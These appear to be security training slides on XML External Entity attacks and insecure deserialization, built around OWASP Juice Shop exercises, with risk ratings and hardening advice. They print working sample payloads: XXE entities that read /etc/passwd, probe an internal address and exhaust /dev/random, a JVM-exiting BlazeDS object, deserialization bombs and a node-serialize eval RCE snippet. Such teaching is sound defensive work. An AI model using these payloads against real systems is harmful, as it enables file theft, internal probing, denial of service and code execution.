

# XXE

## (XML External Entities)

# XML Entities

- In the Document Type Definition (DTD) you specify shortcuts as ENTITY ...
  - `<!ENTITY author "Bjoern Kimminich">`
  - `<!ENTITY copyright "(C) 2018">`
- ...to later dereference them in the XML
  - `<author>&author; &copyright;</author>`

# External Entities

- DTD changed to use External Entities...
  - `<!ENTITY author SYSTEM`  
`"https://raw.githubusercontent.com/bkimminich/juice-shop/gh-`  
`pages/entities.dtd">`
  - `<!ENTITY copyright SYSTEM`  
`"https://raw.githubusercontent.com/bkimminich/juice-shop/gh-`  
`pages/entities.dtd">`
- ...whereas the XML stays the same
  - `<author>&author; &copyright;</author>`

# Attack Vector XXE

- Many older or poorly configured XML processors evaluate external entity references within XML documents
- External entities can be abused for
  - disclosure of internal files
  - internal port scanning
  - remote code execution
  - denial of service attacks

# Risk Rating

## XML External Entities (XXE)

Exploitability	Prevalence	Detecability	Impact	Risk
♦ Average	♦ Common	● Easy	● Severe	A4
( 2	+ 2	+ 3 ) / 3	* 3	= 7.0

# XML with Attack Payloads

## Extracting Data

```
<?xml version="1.0" encoding="ISO-8859-1"?>  
  <!DOCTYPE foo [  
    <!ELEMENT foo ANY >  
    <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>  
  <foo>&xxe;</foo>
```

# Network Probing

```
<?xml version="1.0" encoding="ISO-8859-1"?>  
  <!DOCTYPE foo [  
    <!ELEMENT foo ANY >  
    <!ENTITY xxe SYSTEM "https://192.168.1.1/private" >]>  
  <foo>&xxe;</foo>
```

## DoS Attack (against Linux-based Systems)

```
<?xml version="1.0" encoding="ISO-8859-1"?>  
  <!DOCTYPE foo [  
    <!ELEMENT foo ANY >  
    <!ENTITY xxe SYSTEM "file:///dev/random" >]>  
  <foo>&xxe;</foo>
```

## Exercise 8.1

1. Identify the weak point of the application that accepts arbitrary XML data as input (★★)
2. Retrieve the content of your local system's `C:\Windows\system.ini` (or `/etc/passwd` if you are using Linux) via an XXE attack (★★★)



# Prevention

- Configure XML parser to
  - **disable DTDs completely** (by disallowing `DOCTYPE` declarations) 100
  - disable External Entities (only if allowing DTDs cannot be avoided)

✗ Selective validation or escaping of tainted data is **not** sufficient, as the whole XML document is crafted by the attacker!

# XML Parser Hardening Examples

## `libxml2` (C/C++)

- `XML_PARSE_NOENT` and `XML_PARSE_DTDLOAD` must **not be defined** in the Enum `xmlParserOption`.

**i** *Starting with release `2.9` entity expansion is disabled by default. Using any older version makes it more likely to have XXE problems if the configuration was not explicitly hardened.*

## `org.dom4j.io.SAXReader` (Java)

```
saxReader.setFeature(  
    "http://apache.org/xml/features/disallow-doctype-decl", true);  
saxReader.setFeature(  
    "http://xml.org/sax/features/external-general-entities", false);  
saxReader.setFeature(  
    "http://xml.org/sax/features/external-parameter-entities", false);
```

## `java.beans.XMLDecoder` (Java)

- The `readObject()` method in this class is fundamentally unsafe
- It is vulnerable against XXE as well as arbitrary code execution
- There is no way to make use of this class safe

 *Most Java XML parsers have insecure parser settings by default!*

# Deserialization

# Serialization

Object serialization transforms an object's data to a bytestream that represents the state of the data. The serialized form of the data contains enough information to recreate the object with its data in a similar state to what it was when saved. [<sup>1</sup>]



# Deserialization

```
InputStream is = request.getInputStream();  
ObjectInputStream ois = new ObjectInputStream(is);  
AcmeObject acme = (AcmeObject)ois.readObject();
```

- The casting operation to `AcmeObject` occurs **after** the deserialization process ends
- It is not useful in preventing any attacks that happen during deserialization from occurring

# Insecure Deserialization

- Insecure deserialization often leads to **remote code execution (RCE)**, one of the most serious attacks possible
- Other possible attacks include
  - replay attacks
  - injection attacks
  - privilege escalation
  - DoS

# Risk Rating

## Insecure Deserialization

Exploitability	Prevalence	Detecability	Impact	Risk
♦ Difficult	♦ Common	♦ Average	● Severe	A8
( 1	+ 2	+ 2 ) / 3	* 3	= 5.0



# Attack Example (Adobe BlazeDS)

```
[RemoteClass(alias="javax.swing.JFrame")]  
public class JFrame {  
    public var title:String = "Gotcha!";  
    public var defaultCloseOperation:int = 3;  
    public var visible:Boolean = true;  
}
```

- Above payload creates a `JFrame` instance on the target server
- The `JFrame` object will have a `defaultCloseOperation` of value `3`
- This indicates that **the JVM should exit** when this window is closed

## Exercise 8.2

1. What happens when the `root` object would be deserialized?

```
ArrayList<Object> root = new ArrayList<>(Integer.MAX_VALUE);
```

## Exercise 8.3

1. What happens when the `root` object would be deserialized?

```
Set root = new HashSet();
Set s1 = root;
Set s2 = new HashSet();
for (int i = 0; i < 100; i++) {
    Set t1 = new HashSet();
    Set t2 = new HashSet();
    t1.add("foo");
    s1.add(t1);
    s1.add(t2);
    s2.add(t1);
    s2.add(t2);
    s1 = t1;
    s2 = t2;
}
```

# Prevention

- **Avoid native deserialization formats 100**
  - JSON/XML lessens (but not removes) the chance of custom deserialization logic being maliciously repurposed
- Use the Data Transfer Object (DTO) pattern
  - Exclusive purpose is data transfer between application layers

## If serialization cannot be avoided

- Sign any serialized objects & only deserialize signed data
- Enforce strict type constraints during deserialization before object creation (Not sufficient on its own!)
- Isolate deserialization in low privilege environments
- Log deserialization exceptions and failures
- Restrict or monitor incoming and outgoing network connectivity from containers or servers that deserialize
- Monitor & alert if a user deserializes constantly

## ✓ SerialKiller (Java)

Replacing every `java.io.ObjectInputStream` instantiation

```
ObjectInputStream ois = new ObjectInputStream(is);  
String msg = (String) ois.readObject();
```

with `SerialKiller` from a look-ahead Java deserialization library

```
ObjectInputStream ois = new SerialKiller(is, "/etc/serialkiller.conf");  
String msg = (String) ois.readObject();
```

secures the application from untrusted input. Via `serialkiller.conf` classes can be black- or whitelisted.

## ✗ node-serialize (JavaScript)

The `node-serialize` module uses `eval()` internally for deserialization, allowing exploits like

```
var serialize = require('node-serialize');  
var x = '{"rce": "_$$ND_FUNC$$_function () {console.log(\'exploited\')}()"}';  
serialize.unserialize(x);
```

⚠ *The affected version `0.0.4` of `node-serialize` is also the latest version of this module!*

## Exercise 8.4 (🏠)

1. Perform a DoS-like Attack using XXE (★★★★★)
2. Find the „NextGen“ successor to the half-heartedly deprecated XML-based B2B API in the Juice Shop (!?)
3. Exploit this API with at least one successful DoS-like Remote Code Execution (★★  
★★★★ - ★★★★★★)

**i** *If the server would need >2sec to process your attack request, it is considered „DoS-like“ enough.*